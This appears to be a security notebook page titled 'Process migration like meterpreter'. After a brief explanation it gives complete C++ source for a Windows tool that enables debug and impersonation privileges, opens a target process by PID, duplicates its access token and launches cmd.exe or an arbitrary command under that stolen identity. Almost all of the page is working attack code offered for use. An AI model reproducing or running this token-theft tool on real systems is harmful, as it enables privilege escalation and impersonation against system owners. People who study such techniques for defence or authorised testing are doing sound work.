Process migration like meterpreter
Those are some of the things the code is doing:
    Check if the migrate.exe process is running with the privileges of the “nt authority\system” user. We need it for future impersonation functionality.
    Open Handle to the wanted process (this is the PID of the process we want to steal the privilege tokens from).
    Duplicate their tokens (privileges in windows system was managed by tokens).
    If the duplication was successful it tries to run new process by using these duplicated tokens.
1
#include <windows.h>
2
#include <wchar.h>
3
#include <iostream>
4
#include <stdio.h>
5
#include <stdlib.h>
6
7
using namespace std;
8
9
void usage(char *name)
10
11
{
12
cout << "(-) Ex.: " << name << " <PID> :: for open cmd.exe with new privilages.\n";
13
cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
14
}
15
16
BOOL SetPrivilege(HANDLE hToken, // access token handle
17
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
18
BOOL bEnablePrivilege // to enable or disable privilege )
19
20
{
21
TOKEN_PRIVILEGES tp;
22
LUID luid;
23
24
if (!LookupPrivilegeValue(
25
NULL, // lookup privilege on local system
26
lpszPrivilege, // privilege to lookup
27
&luid)) // receives LUID of privilege
28
29
{
30
printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
31
return FALSE;
32
}
33
34
35
tp.PrivilegeCount = 1;
36
tp.Privileges[0].Luid = luid;
37
if (bEnablePrivilege)
38
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
39
else
40
tp.Privileges[0].Attributes = 0;
41
42
// Enable the privilege or disable all privileges.
43
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
44
{
45
printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
46
return FALSE;
47
}
48
49
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
50
{
51
printf("\t(-) The token does not have the specified privilege. ");
52
return FALSE;
53
}
54
55
return TRUE;
56
}
57
58
59
BOOL check()
60
{
61
BOOL result = TRUE;
62
BOOL bResult;
63
HANDLE fhToken;
64
LUID fLuid;
65
PRIVILEGE_SET privs;
66
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
67
wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
68
for (int i = 0; i < 2; i++)
69
{
70
if (!LookupPrivilegeValue(
71
NULL, // lookup privilege on local system
72
(LPCTSTR)cPrivs[i], // privilege to lookup
73
&fLuid)) // receives LUID of privilege
74
{
75
printf("LookupPrivilegeValue error: %u\n", GetLastError());
76
ExitProcess(0);
77
}
78
79
privs.PrivilegeCount = 1;
80
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
81
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
82
privs.Privilege[0].Luid = fLuid;
83
PrivilegeCheck(fhToken, &privs, &bResult);
84
if (!bResult)
85
{
86
wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
87
result = FALSE;
88
}
89
}
90
return result;
91
}
92
93
94
int main(int argc, char *argv[])
95
{
96
DWORD flag;
97
if (argc <= 1 || argc >= 4)
98
{
99
usage(argv[0]);
100
exit(0);
101
}
102
103
char *command;
104
if (argc > 2)
105
{
106
command = argv[2];
107
flag = CREATE_NO_WINDOW;
108
}
109
110
else
111
{
112
command = "cmd.exe";
113
flag = 0;
114
}
115
116
DWORD pid = atoi(argv[1]);
117
cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
118
cout << "(!) Check if the process have an required permissions...\n";
119
Sleep(1000);
120
121
if (!check())
122
{
123
cout << "(!) Trying to set the necessary privileges.\n";
124
HANDLE currentProcessToken;
125
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
126
wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
127
for (int i = 0; i < 9; i++)
128
{
129
if (!SetPrivilege(currentProcessToken, privs[i], true))
130
{
131
wprintf(L"Access denied to set %s \n", privs[i]);
132
cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
133
ExitProcess(0);
134
}
135
}
136
}
137
cout << "\t(+) All required Permissions was successfull granted.\n\n";
138
139
cout << "(!) Trying to open Handel for requested PID.\n";
140
Sleep(1000);
141
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
142
if (!hProcess) {
143
cout << "\t(-) Can not open handle for requested PID";
144
ExitProcess(0);
145
}
146
cout << "\t(+) The HANDLE was created success.\n\n";
147
148
cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
149
HANDLE NewTokens;
150
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
151
{
152
cout << "\t(-) Denied to handle Process Tokens\n";
153
ExitProcess(0);
154
}
155
cout << "\t(+) Extracting tokens was successfull\n";
156
Sleep(500);
157
158
HANDLE hPrimaryToken;
159
if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
160
{
161
cout << "\t(-) Denied to Duplicate process Tokens\n";
162
}
163
cout << "\t(+) Duplicate tokens was successfull\n\n";
164
Sleep(1000);
165
166
cout << "(!) Try to execute new process with duplicated tokens.\n";
167
STARTUPINFO si;
168
PROCESS_INFORMATION pi;
169
ZeroMemory(&si, sizeof(si));
170
si.cb = sizeof(si);
171
si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
172
ZeroMemory(&pi, sizeof(pi));
173
wchar_t cmd[500];
174
swprintf_s(cmd, L"cmd.exe /c %hs", command);
175
Sleep(500);
176
177
if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
178
{
179
cout << "\t(-) Somthing went wrong!!! \n\t";
180
printf(" -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
181
ExitProcess(0);
182
183
}
184
cout << "[***] We successfuly Migrated to requested PID. [***]\n";
185
186
if (command != argv[2])
187
{
188
cout << "[***] The CMD console with new privilages was opened. [***]\n";
189
}
190
191
else
192
{
193
cout << "[***] Command was executed succesfully!!! [***]";
194
}
195
return 0;
196
197
}
Copied!
Last modified 1mo ago
Copy link